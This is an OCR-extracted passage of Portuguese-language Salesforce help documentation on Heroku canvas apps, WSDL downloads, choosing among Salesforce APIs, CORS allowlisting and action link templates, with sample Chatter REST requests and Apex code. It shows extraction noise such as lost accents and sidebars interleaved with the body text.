letras mindsculas, nimeros e tragos. Esse nome
se torna parte do URL para o aplicativo. O
comprimento maximo é de 30 caracteres.

Nome do aplicativo do Heroku

Descricdo do aplicativo de tela Descricao do aplicativo de tela. Essa descricdo
aparece quando vocé edita o aplicativo de tela
no Salesforce. O comprimento méximo é de
200 caracteres.
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S-Controls

Dentro de um iFrame

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicdes
Enterprise, Performance,
Unlimited, Professional
Edition (com APl e
Force.com Canvas
ativados) e Developer

PERMISSOES DO

USUARIO

Para ver o visualizador:
e "Personalizar aplicativo”

E

“Modificar todos os
dados”


http://www.salesforce.com/us/developer/docs/platform_connect/canvas_framework.pdf

Aprimorar o Salesforce com codigo

Campo

Tipo de autenticacéo

Nome de usuario do Heroku

Senha do Heroku

Chave da API do Heroku
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Descricdo

Como oinicio rapido autentica com o Heroku para criar o aplicativo
de tela.

e OAuth: usa o token do Heroku se o usuério atual estiver
logado no Heroku. Do contrério, inicia o fluxo de OAuth do
Heroku

® Nome de usuirio/senha:usaonome de usuario e a
senha do Heroku

® Chave de API:usaachavede APl do Heroku

O nome de usuario da conta usada para fazer login no Heroku. O
aplicativo do Heroku é criado sob essas credenciais de usuario.

@ Nota: Esse campo tem um comprimento méaximo de 30
caracteres. Se seu nome de usudrio de Heroku tiver mais
de 30 caracteres, serd preciso inserir a chave de API
associada a sua conta do Heroku no campo Chave de
API do Heroku.

A senha da conta usada para fazer login no Heroku.

Ao invés de usar um nome de usuario e uma senha da conta do
Heroku, é possivel usar a chave de APl associada a essa conta. Vocé
pode encontrar esse valor na pdgina Minha conta do Heroku.

@ Nota: O nome de usuario e senha do Heroku ndo sao armazenados em nenhum lugar, mas usados apenas durante o processo

de criagdo do aplicativo em uma conexao segura.

CONSULTE TAMBEM:

Viséo geral de aplicativos conectados

Criando um Aplicativo conectado
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Escopo operacional do campo

Os campos que aparecem na pagina Escopo operacional dos campos sao mencionadas pelo escopo
operacional:

Se a caixa de selecdo Atualizado estiver marcada, o campo serd atualizado usando a operacao
de linguagem de manipulacéo de banco de dados (DML, database manipulation language),
como insert ou update. Para obter mais informagdes, consulte Nogoes basicas sobre
dependéncias.

Se a caixa de selecao Atualizado ndo estiver marcada, 0 campo sé serd mencionado dentro
do escopo operacional. Por exemplo, ele pode ser incluido como parte de uma instrucao
select.

Se a caixa de selecdo ID externo estiver selecionada, 0 campo agird como ID externo. O campo
ID externo contém identificadores de registro exclusivos a partir de um sistema fora do Salesforce.
Vocé pode usar a pesquisa da barra lateral para encontrar valores de ID externo e 0 campo na
APl do Force.com. Ao usar o Assistente de importagdo de dados para solucoes e objetos
personalizados, vocé poderé usar esse campo para evitar valores duplicados.
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EDICOES

Disponivel em: Salesforce
Classic

Os pacotes do
AppExchange e o
Visualforce estdo
disponiveis em: Edi¢des
Group, Professional,
Enterprise, Performance,
Unlimited e Developer

Apex disponivel em: Edicdes
Enterprise, Performance,
Unlimited, Developer e
Database.com

PERMISSOES DO

USUARIO

Para carregar pacotes:

e "Carregar pacotes do
AppExchange”

Para exibir as dependéncias
do Apex:

e “Apex do autor”

Para exibir as dependéncias

do Visualforce:

* “Modo de
desenvolvimento”
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Fazendo download de WSDLs do Salesforce e Certificados de autenticacdo de cliente

Vocé pode fazer download do documento WSDL (Web Services Description Language) para integrar EDICOES
seus aplicativos com o Salesforce utilizando a API.

Os seguintes WSDLs estdo disponiveis: Disponivel em: Salesforce

e WSDL empresarial - Use este documento do WSDL para criar uma integracao de uma Unica E)I(osesrlicescl.;gh'mlng
organizagdo.0 WSDL empresarial é fortemente tipificado, o que significa que contém objetos P
e campos com tipos de dados especificos, tais como int e string. Clientes que usam o Disponivel em: Professional,
documento de WSDL empresarial devem fazer download e reconsumi-lo sempre que a Enterprise, Developer e
organizacdo fizer uma alteragcdo nos objetos ou campos padréo ou sempre que eles quiserem Database.com Edifions

usar uma versao diferente da API.

e WSDL do parceiro - Use este WSDL para criar uma integracao que pode funcionar em todas PERMISSOES DO

as organizagdes do Salesforce, independente dos seus objetos personalizados ou campos. USUARIO

Normalmente, parceiros e ISVs usam este WSDL. A identificacao de tipos é fraca, o que significa

que vocé trabalha com os mesmos pares de nome-valor dos nomes de campo e valores, em Para fazer download do
vez de tipos de dados especificos. O documento de WSDL do parceiro sé precisa ser baixado WSDL:

e consumido uma vez por versao da API. e “Personalizar aplicativo”

e Apex WSDL - Use esta WSDL para executar ou compilar o Apex em outro ambiente.

e WSDL de metadados - Use este WSDL para migrar as alteracées de configuracdo entre organizacdes ou trabalhar com personalizacoes
na sua organizagao como arquivos de metadados XML.

Para fazer download do documento WSDL:
1. Em Configuragdo, insira APT na caixa Busca réapida e selecione API.
2. Faca download do WSDL adequado:

e Sevocé estiver fazendo download de um WSDL empresarial e tiver gerenciado os pacotes instalados na sua organizacdo, clique
em Gerar WSDL empresarial. O Salesforce solicita que vocé selecione a versdo de cada pacote instalado, de forma a incluir no
WSDL gerado.

e (asocontrério, clique com o botédo direito no link do documento WSDL apropriado para salva-lo em um diretério local. No menu
do botao direito do mouse, os usuarios do Internet Explorer podem escolher Salvar Destino Como; os usuarios do Mozilla
Firefox podem escolher Salvar link como.

3. Em seu computador, importe a cépia local do documento WSDL em seu ambiente de desenvolvimento.

@ Nofa: Vocé também pode selecionar as versdes do pacote padréo sem fazer download de um WSDL na secdo de Configuragoes
da versao do pacote.

Vocé pode também fazer download de um certificado para autenticar organizagées do Salesforce. Use este certificado para envio de
mensagens de saida do fluxo de trabalho. Este certificado deve identificar que a solicitagdo esta vindo de Salesforce, ndo de um usuario
especifico. Se vocé quiser usar certificados para garantir conexdes seguras usando outros recursos do Salesforce, como callouts do Ape,
use certificados e pares de chave do Salesforce.

Em Configuracao, insira API nacaixa Busca rapida,selecione APl e, na pagina Fazer o download do WSDL, clique com o botao
direito do mouse em Fazer download de certificado do cliente e salve-o em um local adequado. Vocé pode entéo importar o
certificado descarregado para o servidor de aplicativos e configurar o servidor para solicitar o certificado de cliente.

CONSULTE TAMBEM:
http://www.salesforce.com/us/developer/docs/apexcode/index.htm

http://www salesforce.com/us/developer/docs/api_meta/index.htm


https://developer.salesforce.com/docs/atlas.en-us.198.0.apexcode.meta/apexcode/
https://developer.salesforce.com/docs/atlas.en-us.198.0.api_meta.meta/api_meta/
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Qual API devo usar?

0O Salesforce fornece um acesso programatico as informagdes de sua organizacao usando interfaces EDICOES
de programagao de aplicativo simples, robustas e seguras.

Disponivel em: Salesforce

Nome da API Protocolo Formato de data  Comunicacao Classic
API REST REST JSON, XML Sincrono Disponivel em: Edicdes
API SOAP SOAP (WSDL) XML Sincrono Enterprise, Performance,
Unlimited, Developer e
API REST do Chatter REST JSON, XML Sincrono (fotos sao Database.com
processadas de forma
assincrona) PERMISSOES DO
APl em massa REST CSV, XML Assincrono USUARIO
APl de metadados SOAP (WSDL) XML Assincrono Para usar as APIs
APl de streaming Bayeux JSON Assincrono (fluxo de AP! ativada
dados)
API'REST do Apex REST JSON, XML, Sincrono
Personalizado
API' SOAP do Apex SOAP (WSDL) XML Sincrono
APl do conjunto de REST ou SOAP (WSDL) JSON, XML, Sincrono
ferramentas Personalizado

Quando usar a API REST

Uma API REST oferece uma interface de servicos da Web baseada em REST avancgada, conveniente e simples para interagir com o
Salesforce. Suas vantagens incluem facilidade de integracao e desenvolvimento. Uma excelente opcéo de tecnologia para uso com
aplicativos méveis e projetos Web. No entanto, se houver muitos registros para processar, considere a possibilidade de usar a APl em
massa, que é baseada nos principios do REST e otimizada para grandes conjuntos de dados.

Quando usar a APl SOAP

Uma API SOAP oferece uma interface de servicos da Web baseada em SOAP avancada, conveniente e simples para interagir com o
Salesforce. Pode-se usar a API SOAP para criar, recuperar, atualizar ou excluir registros. Vocé pode usar API SOAP para realizar pesquisas
e muito mais. Use a API SOAP em qualquer idioma que suporte servicos da Web.

Por exemplo, vocé pode usar a API SOAP para integrar o Salesforce aos sistemas ERP e financeiros da sua organizagdo. Também é possivel
fornecer informacdes de suporte e vendas em tempo real aos portais da empresa e preencher os sistemas comerciais criticos com
informacées dos clientes.

Quando usar a API REST do Chatter

Use a API REST do Chatter para exibir dados do Salesforce, principalmente em aplicativos méveis. Respostas da API REST do Chatter sdo
localizadas e estruturadas para apresentacdo. Vocé pode filtrar respostas de forma que elas contenham somente o que o aplicativo
precisa. Além de feeds, usudrios, grupos e seguidores do Chatter, a API REST do Chatter fornece acesso programatico a arquivos,
recomendacdes, topicos, notificacdes, aquisicido do Data.com e mais. A API REST do Chatter é semelhante as APIs oferecidas por outras
empresas com feeds, como Facebook e Twitter, mas também expde os recursos do Salesforce além do Chatter.
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Quando usar a APl em massa

API'em massa é baseada nos principios do REST e otimizada para carregamento ou exclusao de grandes conjuntos de dados. Vocé pode
usa-la para consultar, inserir, atualizar, mesclar ou excluir muitos registros de forma assincrona por meio do envio de lotes. O Salesforce
processa lotes em segundo plano.

A API'SOAP, por outro lado, é otimizada para aplicativos clientes em tempo real que atualizam alguns poucos registros por vez. Embora
também possa ser usada para processar grandes nimeros de registros, a APl SOAP é menos prética quando os conjuntos de dados
contém centenas de milhares de registros. APl em massa foi criada para simplificar o processo de dados de alguns milhares a milhdes
de reqistros.

A forma mais facil de usar a APl em massa é ativa-la para processar registros no Data Loader usando arquivos CSV. O uso do Data Loader
elimina a necessidade de desenvolver seu proprio aplicativo cliente.

Quando usar a APl de metadados

Use a API de metadados para recuperar, implementar, criar, atualizar ou excluir personaliza¢des para a sua organizagao. O uso mais
comum é migrar as alteragoes de um sandbox ou organizagao de teste para seu ambiente de produc¢do. A APl de metadados é destinada
ao gerenciamento de personalizacbes e a criagdo de ferramentas que podem gerenciar o modelo de metadados, ndo os préprios dados.

A forma mais facil de acessar a funcionalidade na APl de metadados é usar o Force.com IDE ou a Force.com Migration Tool. Ambas as
ferramentas sao construidas com base na APl de metadados e usam as ferramentas padrao Eclipse e Ant, respectivamente, para simplificar
o trabalho com a APl de metadados.

e (OForce.com IDEé baseado na plataforma Eclipse, para programadores familiarizados com ambientes de desenvolvimento integrados.
Codifique, compile, teste e implante diretamente a partir do IDE.

e AForce.com Migration Tool é ideal se vocé usa um script ou a linha de comando para mover metadados entre um diretério local e
uma organizacao do Salesforce.

Quando usar a API de Streaming
Use a APl de Streaming para receber notificacdes de alteracoes em dados que correspondam a uma consulta SOQL que vocé define.

APl de streaming é Util quando vocé quer que notificagdes sejam enviadas do servidor para o cliente. Considere usar a APl de streaming
para aplicativos que fazem consultas frequentemente. Aplicativos que realizam consultas constantes a infraestrutura do Salesforce
consomem tempo desnecessério de chamada e processamento da API. A APl de streaming reduz o ndmero de solicitacdes que nao
retornam dados e também é ideal para aplicativos que exigem notificacao geral de alteracées de dados.

A API de streaming permite reduzir o nimero de chamadas de APl e melhorar o desempenho.

Quando usar a API REST do Apex

Use a API REST do Apex quando quiser expor suas classes e métodos Apex para que aplicativos externos possam acessar seu codigo
através de arquitetura REST. API REST do Apex suporta OAuth 2.0 e ID de sessao para autorizacao.

Quando usar a APl SOAP do Apex

Use a API SOAP do Apex quando quiser expor métodos Apex como APIs de servico da Web SOAP, para que aplicativos externos possam
acessar seu codigo através de SOAP.

API'SOAP do Apex suporta OAuth 2.0 e ID de sessao para autorizagao.
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Use a APl do conjunto de ferramentas para gerenciar e implantar copias de trabalho de classes e acionadores do Apex e componentes
e paginas do Visualforce. Vocé também pode definir pontos de verificagdo ou marcadores de heap dump, executar Apex anénimo e

acessar informacées de cobertura de codigo e registro.

Use o CORS para acessar a API REST do Chatter e a API REST

A APIREST do Chatter e a API REST oferecem suporte ao CORS (compartilhamento de recursos entre
origens). Para acessar essas APIs a partir do JavaScript em um navegador da Web, adicione a origem
que entrega o script a lista de aprovados do CORS.

O CORS é uma recomendacao do W3C que permite que navegadores da Web solicitem recursos
de origens que ndo sejam as suas (solicitacao entre origens). Por exemplo, usando CORS, um script
JavaScriptem https://www.example.com pode solicitar um recurso de
https://www.salesforce.com.

Se um navegador que suporta CORS fizer uma solicitacdo para uma origem na lista de aprovados
do CORS do Salesforce, o Salesforce retornard a origem no cabecalho HTTP
Access-Control-Allow-Origin,juntamente com quaisquer cabecalhos HTTP CORS
adicionais. Se a origem ndo estd inclufda na lista de aprovados, o Salesforce retorna o cédigo de
status de HTTP 403.

1. Em Configuracao, insira CORS na caixa Busca rapida e selecione CORS.
2. Escolha Novo.
3. Insira o padrdo de URL da origem.

O padrao de URL da origem deve incluir o protocolo HTTPS e um nome de dominio, e pode
incluir uma porta. Ha suporte para o caractere curinga (*), que deve ficar na frente de um nome

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Developer,
Enterprise, Performance e
Unlimited

PERMISSOES DO

USUARIO

Para criar, ler, atualizar e

excluir:

e "Modificar todos os
dados”

do dominio de sequndo nivel. Porexemplo, https://*.example. com adiciona todos os subdominios de example. com

a lista de aprovados.

O padréo de URL da origem pode ser um endereco IP. No entanto, um endereco IP e um dominio que séo resolvidos como o mesmo
endereco ndo s&o a mesma origem, e é necessario adiciond-los a lista de aprovados do CORS como entradas separadas.

@ Importante: Ainda é necessario passar um token OAuth com as solicitacbes que o requerem.

Modelos de link de acdo

Crie modelos de link de agdo em Configuragdo para poder instanciar grupos de links de acdo com
propriedades em comum a partir da API REST do Chatter ou Apex. E possivel empacotar modelos
e distribui-los a outras organizagdes Salesforce.

O link de acdo é um botdo em um elemento do feed. O cligue em um link de acéo pode levar o
usudrio a uma pagina da Web, iniciar o download de um arquivo ou fazer uma chamada de API
para o Salesforce ou um servidor externo. O link de acdo inclui um URL e um método HTTP e pode
incluirinformacoes de corpo e cabecalho de solicitagao, como um token do OAuth para autenticacao.
Use links de acao para integrar o Salesforce e servicos de terceiros ao feed para que 0s usuarios
possam realizar agdes para impulsionar a produtividade e acelerar a inovacéo.

Neste exemplo, Aprovar e Rejeitar sao links de acdo que fazem chamadas a API REST de um site

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Todas as
edicdes, exceto Personal
Edition.

de viagens ficticio para aprovar ou rejeitar um itinerario. Quando Pam criou o itinerario no site de viagens, esse site fez uma solicitagao


http://www.w3.org/TR/cors/
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a APIREST do Chatter para publicar o item do feed com os links de agdo para Kevin, gerente de Pam, para que ele aprove ou rejeite o
itinerario.

What | Follow =

Pam Jones to
Kevin Bailey:
Just Mow

Please approve this trip.

Dreamforce Trip
www.example.com

Approve Reject

60

@ Importante: Os links de acdo sao recursos para desenvolvedores. Embora seja possivel criar modelos para links de agdo em
Configuracdo, é preciso usar o Apex ou o Chatter REST API para gerar itens de acao a partir de modelos e adiciona-los aos elementos
do feed.

NESTA SECAO:

Designacdo de modelos de link de acao

Antes de criar um modelo, considere os valores que deseja definir no modelo e os valores que deseja definir com varidveis vinculantes
ao instanciar os grupos de links de acao a partir do modelo.

(Criacao de modelos de link de acao

Crie modelos de link de agdo em Configuragdo para poder instanciar grupos de links de acdo com propriedades em comum a partir
da API REST do Chatter ou Apex. E possivel empacotar modelos e distribui-los a outras organizagoes Salesforce.

Edicao de modelos de link de agdo

E possivel editar todos os campos em um modelo de grupo de links de acdes ndo publicado e em seus modelos de links de acoes
associados.

Exclusdo de modelos de grupo de links de acéo

Quando vocé exclui um modelo de grupo de links de agao, exclui os modelos de links de acao associados e todos 0s grupos de links
de a¢do que foram instanciados dos modelos. Os grupos de links de agdo excluidos desaparecem dos elementos de feed aos quais
foram associados.

Empacotamento de modelos de link de acdo
Empacote modelos de link de acao para distribui-los a outras organizagdes Salesforce.

CONSULTE TAMBEM:
https://developer.salesforce.com/docs/atlas.en-us.chatterapi. meta/chatterapi/features_action_links.htm

https://developer.salesforce.com/docs/atlas.en-us.apexcode. meta/apexcode/connectapi_features_action_links.htm


https://developer.salesforce.com/docs/atlas.en-us.chatterapi.meta/chatterapi/features_action_links.htm
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode/connectapi_features_action_links.htm
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Designag¢do de modelos de link de agao

Antes de criar um modelo, considere os valores que deseja definir no modelo e os valores que deseja definir com variaveis vinculantes
ao instanciar os grupos de links de acéo a partir do modelo.

e \Visdo geral de modelos de link de acao

e (Consideracbes sobre design de modelos

e Definicdo do hordrio de expiracédo do grupo de links de acao
e Definicdo de varidveis vinculantes

e Definicdo de quem pode ver o link de acéo

e Uso de varidveis de contexto

Visao geral de modelos de link de agdo

Aqui estd um modelo de grupo de links de acao em Configuracao:

Action Link Group Template
Edit

Save Save & New | Cancel

Information | = Required Information

Action Link Group  07gD00000004CEX
Template ID

tame | Doc Example
APIName | Doc_Example :
Category | Primary action
Executions Allowed I Once perUser ~

Hours until
Expiration

Published

Save Save & New | Cancel

Cada grupo de links de acdo deve conter ao menos um link. Este exemplo de modelo de link de agdo contém trés varidveis vinculantes:
o nlmero da versdo da APIno URL da acé&o, onumerodoitemno Corpo da solicitacdo HTTP e o valordachave de
seguranca do OAuth no campo Cabecalho HTTP.
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Action Link Template Edit Save || Save & New | | Cancel
Information | = Required Information
Action Link  Templates Overview Position |.|:|.
Group
Template
Action Type I AP - Label I Buy -
Key
Action URL | hitne ihwww.example.com Label

KBindings ApiVersion}items

HTTP | POST  ~ User | Everyone cansee -
Method Visibility

HTTP  rejtemNumber” : "{IBindings.ltemNumber}"} ~ Custom
Request User

Body Alias

HTTP Content-Type: applicationfjson
Headers 4 thorization: Bearer
{IBindings BearerToken}

Default Link ]
in Group

Confirmation |:|
Required

A solicitagdo da API REST do Chatter para instanciar o grupo de links de acao e definir os valores das varidveis vinculantes:

POST /connect/action-link-group-definitions

"templateId":"07gD00000004C9r",
"templateBindings": [
{
"key":"ApiVersion",
"value":"v1.0"

"key":"ItemNumber",
"value":"8675309"

"key":"BearerToken",

"value" :"00DRROO0O0O00ONOg!AROCAQMZYQtsP1Gs27EZ8h17vdpYXH505rv1VNprgTeDl12xY¥YnvygD3JgPnNR"
}
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Este é 0 Apex code que instancia o grupo de links de agdo a partir do modelo e define os valores das varidveis vinculantes:

// Get the action link group template Id.
ActionLinkGroupTemplate template = [SELECT Id FROM ActionLinkGroupTemplate WHERE
DeveloperName="'Doc Example'];

// Add binding name-value pairs to a map.

Map<String, String> bindingMap = new Map<String, String>();

bindingMap.put ('ApiVersion', '1.0');

bindingMap.put ('ItemNumber', '8675309'");

bindingMap.put ('BearerToken',
'00DRRO000000NOg!ARCAQMZYyQtsP1Gs27EZ8h17vdpYXH505rv1VNprgqTeD12xYnvygD3JgPnNR") ;

// Create ActionLinkTemplateBindingInput objects from the map elements.
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs = new
List<ConnectApi.ActionLinkTemplateBindingInput> () ;
for (String key : bindingMap.keySet()) {

ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput () ;

bindingInput.key = key;

bindingInput.value = bindingMap.get (key);

bindingInputs.add (bindingInput) ;

// Set the template Id and template binding values in the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput = new
ConnectApi.ActionLinkGroupDefinitionInput () ;

actionLinkGroupDefinitionInput.templateld = template.id;
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition (Network.getNetworkId(),
actionLinkGroupDefinitionInput) ;

Consideracgdes sobre design de modelos
Consideragdes para projetar um modelo:
e Determine 0 momento da expiracao do grupo de links de acao.

Consulte Definicao do horério de expiracdo do grupo de links de agéo.

e Defina varidveis vinculantes no modelo e defina seus valores ao instanciar o grupo. Ndo armazene informacées confidenciais em
modelos. Use varidveis vinculantes para adicionar informacdes confidenciais em tempo de execugdo.

Consulte Definicdo de varidveis vinculantes.

e Determine quem pode ver o link de acdo quando esté associado a um elemento de feed.

Definicao de quem pode ver o link de acéo.

e Use varidveis de contexto no modelo para obter informagdes sobre o contexto de execucdo do link de acéo.

Quando o link de acdo é executado, o Salesforce preenche os valores e 0s envia na solicitacdo HTTP. Consulte Usar varidveis de
contexto.
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Defini¢do do horario de expiragdo do grupo de links de agdo

Ao criar um grupo de links de acao a partir do modelo, a data de expiracdo pode ser calculada com base em um periodo fornecido no
modelo, ou é possivel definir que o grupo de links de acdo ndo expira nunca.

Para definir as horas até a expiracdo em um modelo, insira um valor no campo Horas até a expiracéo domodelo de grupo
de links de acao. Esse valor é o nimero de horas desde a instanciacdo do grupo de links de agdo até sua remocao dos elementos de
feed associados, quando ndo pode mais ser executado. O valor méximo é 8760, que equivale a 365 dias.

Para definir a data de expiragdo do grupo de links de acéo ao instancid-lo, defina a propriedade expirationDate do corpo de
solicitacdo da Definicao de grupo de links de acdo (API REST do Chatter) ou da classe de entrada
ConnectApi.ActionLinkGroupDefinition (Apex).

Para criar um grupo de links de agédo que nao expira, nao insira um valor no campo Horas até a expiracao domodeloendo
insira um valor na propriedade expirationDate ao instanciar o grupo.

Eiscomo expirationDate e Horas até a expiracao funcionamem conjunto ao criar um grupo de links de acéo a partir
de um modelo:

e Sevocé especifica expirationDate, seu valor é usado no novo grupo de links de acéo.

e Sevocé ndo especifica expirationDate eespecifica Horas até a expiracdo nomodelo, ovalorde Horas até
a expiracdao éusado nonovo grupo de links de acao.

e Sevocé ndo especifica expirationDate ou Horas até a expiracdao,0sgrupos de link de acdo instanciados a partir
do modelo ndo expiram.

Definicdo de variaveis vinculantes

Defina varidveis vinculantes em modelos e defina seus valores ao instanciar o grupo de links de acdo.

@ Importante: Nao armazene informacdes confidenciais em modelos. Use varidveis vinculantes para adicionar informacées
confidenciais em tempo de execucdo. Quando o valor de um vinculo € definido, ele é armazenado criptografado no Salesforce.

E possivel definir varidveis vinculantes nos campos URL de acéo, Corpo da solicitacdo HTTP e Cabecalhos HTTP
de um modelo de link de acao. Apos a publicagdo de um modelo, é possivel editar esses campos, mover varidveis vinculantes entre os
campos, ou excluir varidveis vinculantes. No entanto, nao é possivel adicionar outras varidveis vinculantes.

Defina a chave de uma varidvel vinculante no modelo. Ao instanciar o grupo de links de acéo, especifique a chave e seu valor.
As chaves de varidveis vinculantes tém o formato { !Bindings.key}.

A chave permite caracteres Unicode na classe predefinida de caracteres \w:
[\p{Alpha}\p{gc=Mn}\p{gc=Me}\p{gc=Mc}\p{Digit}\p{gc=Pc}].

Ocampo URL da ac&o possuiduas varidveis vinculantes:
https://www.example.com/{!Bindings.ApiVersion}/items/{!Bindings.ItemId}
Ocampo Cabecalhos de HTTP possui duas varidveis vinculantes:

Authorization: OAuth {!Bindings.OAuthToken}
Content-Type: {!Bindings.ContentType}

Especifique a chave e seu valor ao instanciar o grupo de links de ag&do na API REST do Chatter:

POST /connect/action-link-group-definitions

"templateId":"07gD00000004C9r",


http://www.unicode.org/reports/tr18/#Compatibility_Properties
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"templateBindings" : [
{
"key":"ApiVersion",
"value":"1.0"

"key":"ItemId",
"value":"8675309"

"key":"OAuthToken",
"value":"00DRRO0O0O00OOONOg !..."

"key":"ContentType",
"value":"application/json"

}
Especifique as chaves de varidvel vinculante e defina seus valores no Apex:

Map<String, String> bindingMap = new Map<String, String>();
bindingMap.put ('ApiVersion', '1.0');

bindingMap.put ('ItemId', '8675309"');

bindingMap.put ('OAuthToken', '0O0ODRRO00000ONOg !...");

bindingMap.put ('ContentType', 'application/json');
List<ConnectApi.ActionLinkTemplateBindingInput> bindingInputs =
new List<ConnectApi.ActionLinkTemplateBindingInput>();

for (String key : bindingMap.keySet()) {
ConnectApi.ActionLinkTemplateBindingInput bindingInput = new
ConnectApi.ActionLinkTemplateBindingInput () ;
bindingInput.key = key;
bindingInput.value = bindingMap.get (key) ;
bindingInputs.add (bindingInput) ;

// Define the action link group definition.
ConnectApi.ActionLinkGroupDefinitionInput actionLinkGroupDefinitionInput =
new ConnectApi.ActionLinkGroupDefinitionInput () ;
actionLinkGroupDefinitionInput.templateId = '07gD00000004C9r";
actionLinkGroupDefinitionInput.templateBindings = bindingInputs;

// Instantiate the action link group definition.
ConnectApi.ActionLinkGroupDefinition actionLinkGroupDefinition =
ConnectApi.ActionLinks.createActionLinkGroupDefinition (Network.getNetworkId(),
actionLinkGroupDefinitionInput) ;

O Dica: E possivel usar a mesma varidvel vinculante varias vezes em modelos de link de acdo e apenas fornecer o valor uma vez
durante a instanciacdo. Por exemplo, vocé poderia usar { !Bindings.MyBinding} duasvezesnocampo Corpo da
solicitacdo HTTP emum modelo, e novamente nos Cabecalhos HTTP de outro modelo no mesmo modelo de
grupo de links de acdo e, ao instanciar o grupo a partir do modelo, precisaria fornecer apenas um valor dessa varidvel compartilhada.
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Definicdo de quem pode ver o link de agao
Escolha um valor na lista suspensa Visibilidade de usuario para determinar quem pode ver o link de acdo quando estd associado a um
elemento de feed.

Entre as opcdes disponiveis estdo Apenas usuario personalizado pode ver ou Todos exceto o usudrio personalizado podem ver. Escolha
um desses valores para permitir que apenas um usuario especifico veja o link de agéo, ou para evitar que um usuario especifico o veja.
Em sequida, digite um valor no campo Alias de usuédrio personalizado. Esse valor é uma chave de varidvel vinculante.
No cédigo que instancia o grupo de links de agéo, use a chave e especifique o valor da mesma maneira que qualquer varidvel vinculante.

Este modelo usaovalorde Alias de usuario personalizado Convidado:

Action Link Template Edit Save | Save & New | Cancel
Information | = Reguired Information
Action Link  Video Chat Position |0
Group
Template
Action Type | Ui - Label | Accept -
Key
Action URL hitps:www.example.comivideo_chat Label
HTTP | GET - User | Only custom user can see -
Method Visibility
HTTP Custom Inviteea
Request User
Body Alias
HTTP
Headers

Default Link |:|
in Group

Confirmation |:|
Required

Save Save & New Cancel

Ao instanciar o grupo de links de acao, defina o valor da mesma maneira que vocé definiria uma varidvel vinculante:

POST /connect/action-link-group-definitions

"templateId":"07gD00000004CO9r",
"templateBindings" : [
{
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"key":"Invitee",
"value":"005D00000017u6x"

}

Se 0 modelo usar Apenas o gerente do criador pode ver, um usuario sem gerente receberd um erro ao instanciar um grupo de link
de acdo no modelo. Além disso, esse gerente refere-se ao gerente no momento da instanciacao. Se o gerente do usuario mudar depois
da instanciacdo, a mudanga nao sera refletida.

Uso de varidveis de contexto

Use varidveis de contexto para passar informacdes sobre o usuario que executou o link de acdo e o contexto em que ele foi chamado a
solicitacao HTTP feita ao chamar um link de acdo. E possivel usar varidveis de contexto nas propriedades actionUrl, headers e
requestBody do corpo da solicitacdo de Entrada de definicdo de link de agdo, ou 0 objeto
ConnectApi.ActionLinkDefinitionInput.Também é possivel usarvaridveis de contexto noscampos URL da acéo,
Corpo da solicitacdo HTTP e Cabecalhos HTTP demodelosdelinkdeagdo.Vocé pode editar esses campos, incluindo
adicao e remogao de varidveis de contexto, apds a publicacao do modelo.

Estas sdo as varidveis de contexto disponiveis:

Variavel de contexto Descricdo
{lactionLinkId} O 1D do link de agcdo que o usuario executou.
{!actionLinkGroupId} O ID do grupo de links de agdo que contém o link de agéo que o

usuario executou.

{!communityId} O ID da comunidade em que o usudrio executou o link de acéo. O
valor da sua organizagdo interna é a chave vazia
"000000000000000000™".

{!communityUrl} O URL da comunidade em que o usuario executou o link de acao.

O valor da sua organizacéo interna é a string vazia " ".
{lorgId} O ID da organizacdo em que o usudrio executou o link de acéo.

{luserId} O ID do usuério que executou o link de acao.

Por exemplo, suponha que vocé trabalha para uma empresa chamada Survey Example e cria um aplicativo para o Salesforce AppExchange
chamado Survey Example para Salesforce. A Empresa A tem o Survey Example para Salesforce instalado. Vamos imaginar que
alguém da empresa A acessa surveyexample.com e faz uma pesquisa. O codigo do Survey Example usa a API REST do Chatter
para criar um item de feed na organizagdo Salesforce da Empresa A, com o texto de corpo Faga uma pesquisa e um link de agdo com
o rétulo OK.

O link de acdo UT leva o usudrio do Salesforce a uma pagina da web em surveyexample.com parafazer uma pesquisa.

Se vocé incluir uma varidvel de contexto { 'userId} em Corpo da solicitacdo HTTP ouno URL da acéo referente
ao link da acdo, quando um usudrio clicar no link de acao no feed, o Salesforce enviara o ID do usuério que clicou na solicitacdo HTTP
feita ao servidor.

Se for incluida uma varidvel de contexto { !actionLinkId} no cdédigo do lado do servidor de Survey Example que cria o link de
acao, o Salesforce enviard uma solicitacdo HTTP com o ID do link de acéo, que vocé pode salvar no banco de dados.

Este exemplo inclui a varidvel de contexto { !'userId} no URL da acao do modelo de link de acao:
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Action Link Template Edit

Information

Action Link
Group
Template

Action Type

Action URL

HTTP
Method

HTTP
Request
Body

HTTP
Headers

Default Link
in Group

Confirmation
Required

Take Survey

| aPI

hitps:ifwww example.com

Save Save & New Cancel

Position

Label
Key

Label

IdoSunvey?surveyld=12348
salesforcelserld={luserld}

| GET

(]
(]

User
Visibility
Custom

User
Alias

Save Save & New Cancel

| = Required Information

| Everyone can see -

o Dica: Varidveis vinculantes e de contexto podem ser usadas no mesmo campo. Por exemplo, este URL de agdo contém uma

variavel vinculante e uma de contexto:

https://www.example.com/{!Bindings.apiVersion}/doSurvey?salesforceUserId={!userId}
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Criacdo de modelos de link de acdo

Crie modelos de link de agdo em Configuracdo para poder instanciar grupos de links de acdo com EDlCOES
propriedades em comum a partir da API REST do Chatter ou Apex. E possivel empacotar modelos
e distribui-los a outras organizacdes Salesforce.

Disponivel em: Salesforce

@ Nota: Além de criar modelos de link de acdo na Configuracao, também € possivel usar a AP Clossic e Lightning
de metadados, a APl SOAP e a API REST para criar modelos de link de acao. Experience
Os campos URL de acdo, Corpo da solicitacdo HTTP e Cabecalhos HTTP Disponivel em: Todas as

edicoes, exceto Personal

oferecem suporte a varidveis vinculantes e varidveis de contexto. Defina variaveis vinculantes em um
Edition.

modelo e defina seus valores ao instanciar o grupo de links de acdo. Use varidveis de contexto em
